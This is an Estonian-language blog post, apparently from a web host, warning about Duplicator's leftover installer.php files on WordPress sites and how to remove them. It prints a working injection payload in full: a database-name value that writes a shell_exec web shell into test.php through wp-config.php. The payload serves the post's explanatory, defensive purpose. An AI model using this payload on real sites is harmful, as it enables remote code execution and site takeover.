Vahel ei ole ka uuendamisest abi ehk Duplicator ja installer.php
Duplicator – plugin, mis lubab WordPressi mugavalt kokku pakkida ja teises serveris uuesti paigaldada – on täpselt selline juhtum.
Kiire kokkuvõte: veendu, et sinu veebi juurkataloogi pole jäänud installer.php või installer-backup.php faili (näiteks tippides oma veebi-aadressi sappa:
http://firmanimi.eu/installer.php
). Kui on, siis korralda kohene kustutamine.
Ääremärkus: kõigil Zones majutatud lehtedel keelasime neile failidele ligipääsu, kustutamiseks on vaja eelnevalt failiõigused paika seada; juhis allpool.
Maasikaks tordi peal on sedapuhku see, et tegemist on 10+ MILJONIT korda paigaldatud pluginaga. Või õigupoolest: …see tort ainult (pahadest) maasikatest koosnebki:
- tegemist on pluginaga, millel väidetavasti 10+ miljonit paigaldust;
- esimesed ründed (sh Eestis) mõni nädal pärast paiga ja probleemikirjelduse avaldamist;
- see ei ole neil esimene turvaprobleem;
- paik kõrvaldab ühe ründeviisi, aga jätab alles teise võimaluse;
- ükski paik ei kõrvalda Duplicatori kasutamise järel kustutamata jäänud
installer.php
jainstaller-backup.php
faile; - need failid võivad alles olla ka veebis, milles pluginat ennast enam ammu pole;
- lisaks installerile võib veebis vedeleda ka andmebaas
database.sql
(saab kasutada nt admin-kasutaja parooli murdmiseks) ja kogu veebirakenduse arhiiv (mille nimeinstaller.php
reedab) - probleemi avastaja kirjeldab ründemeetodit täpsusega, mis võimaldab seda sisuliselt copy-paste meetodil kasutusele võtta (muuhulgas näeme rünnetes
test.php
faile); - tuntud veebiturvapakkuja blogipostitusest jääb mulje, et eelnevale vaatamata pole nad päris täpselt aru saanud, kuidas rünne töötab ja miks
wp-config.php
katki kipub minema.
Ehk siis… see maasikas on veidi “sedapsi”:
Mida Duplicator teeb?
Tegemist on WordPressi pluginaga, mis lubab olemasoleva veebi (nt veebiarendaja testserveris oleva) kokku pakkida, mille tulemuseks on üks suur arhiiv kõigi failide ja andmebaasi-sisuga ning installer.php
skript.
Need saab lihtsa vaevaga uude serverisse üles laadida ning seejärel tippides veebiaadressi sappa installer.php
ilma tehniliste teadmisteta seal ka lahti pakkida, vajadusel koos domeeninime muutmisega:
Paigaldamise järel jäävad aga serverisse alles nii installer, selle varukoopia kui ka arhiivist lahti pakitu:
Kuidas rünnatakse?
Kuna maha unustatud installer.php
saab käivitada igaüks, siis võiks näiteks sisestada oma kontrolli all oleva andmebaasiserveri andmed ning paigalduse järel saaks seal admin-kasutaja parooli ära vahetada. Ja seejärel võib juba sobiliku tagaukse paigaldada, nt pluginana:
AGA! Duplicator kirjutab siia sisestatud andmed kenasti wp-config.php
faili, misjärel on võimalik teha eriti labane koodisüst, pannes andmebaasi nimeks jupi koodi:
test'); file_put_contents("test.php", '<pre><?php if (isset($_GET["synacktiv_backdoor"])) { echo shell_exec($_GET["synacktiv_backdoor"]); } ?></pre>'); /*
Nüüd näeb wp-config.php
välja selline:
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'test'); file_put_contents("test.php", '<pre><?php if (isset($_GET["synacktiv_backdoor"])) { echo shell_exec($_GET["synacktiv_backdoor"]); } ?></pre>'); /*'); /** MySQL database username */ define('DB_USER', 'test'); /** MySQL database password */ define('DB_PASSWORD', 'test'); /** MySQL hostname */ define('DB_HOST', 'nowhere:12345');
… ja pöördudes korra otse wp-config.php
poole (minu näidise puhul https://dupdup.local/wp-config.php
), tekib samasse fail test.php
, mis toimib lihtsa tagauksena (näide käsuga ls
, mis kuvab veebi juurkataloogi sisu):
Loomulikult on selle käigus tehtud katki ka wp-config.php ja veebikülastajad näevad andmebaasi-ühenduse veateadet:
Kuidas ennast kaitsta?
Kui oled veebiarendajana (või -omanikuna) kunagi Duplicator’it kasutanud veebi kolimiseks, siis leia see aeg, et kõik varasemad projektid üle kontrollida ja eemalda veebi juurkataloogi jäänud installer.php
, installer-backup.php
, database.sql
ja arhiivifail.
Kontrollimine on lihtne ja selleks pole isegi vaja FTP-ligipääsu: pannes falinime oma veebiaadressi sappa (nt: http://firmanimi.eu/installer.php
), peaks kuvatama Error 404 ehk “lehte ei leitud” teadet. Kui avaneb ülal näha olev Duplicator’i dialoog, siis on väga pahasti.
Paha ei tee ka veidi põhjalikum veebiserveris ringivaatamine, sest sageli vedeleb seal kataloogides /vana
või /new
veebilehe erinevaid (paikamata ja kohati ka nõrga adminparooliga) versioone, näiteks test.php
, mis kuvab serveri-infot jpm tarbetut kola, mis võib kellegi jaoks osutuda väärt turvaprobleemiks.
Zone kliendid on kaitstud
Zones majutatud veebidele lasid meie adminnid peale roboti, mis keelas kõigi Duplicator’i installer*.php
failide lugemise (chmod 0x000
), sest kliendi faile me ära kustutada ei tahaks. Kui probleemsed failid sinu veebis olemas, siis näed meil sellist veateadet:
… ja failide kustutamiseks pead FTP-programmis paremklõpsama failinimel ning andma kasutajale Read ja Write õigused: